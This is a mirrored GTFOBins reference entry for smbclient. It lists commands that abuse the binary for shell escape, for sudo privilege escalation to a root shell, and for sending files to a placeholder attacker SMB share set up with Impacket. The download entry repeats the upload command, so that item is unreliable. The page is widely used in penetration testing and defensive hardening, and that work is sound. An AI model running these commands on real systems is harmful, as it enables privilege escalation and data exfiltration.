1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/smbclient.md
2019-03-10 19:08:17 +00:00

760 B

description functions
A valid SMB/CIFS server must be available.
shell file-upload file-download sudo
code
smbclient '\attacker\share' !/bin/sh
description code
Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to collect the file. smbclient '\attacker\share' -c 'put file_to_send where_to_save'
description code
Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to send the file. smbclient '\attacker\share' -c 'put file_to_send where_to_save'
code
sudo smbclient '\attacker\share' !/bin/sh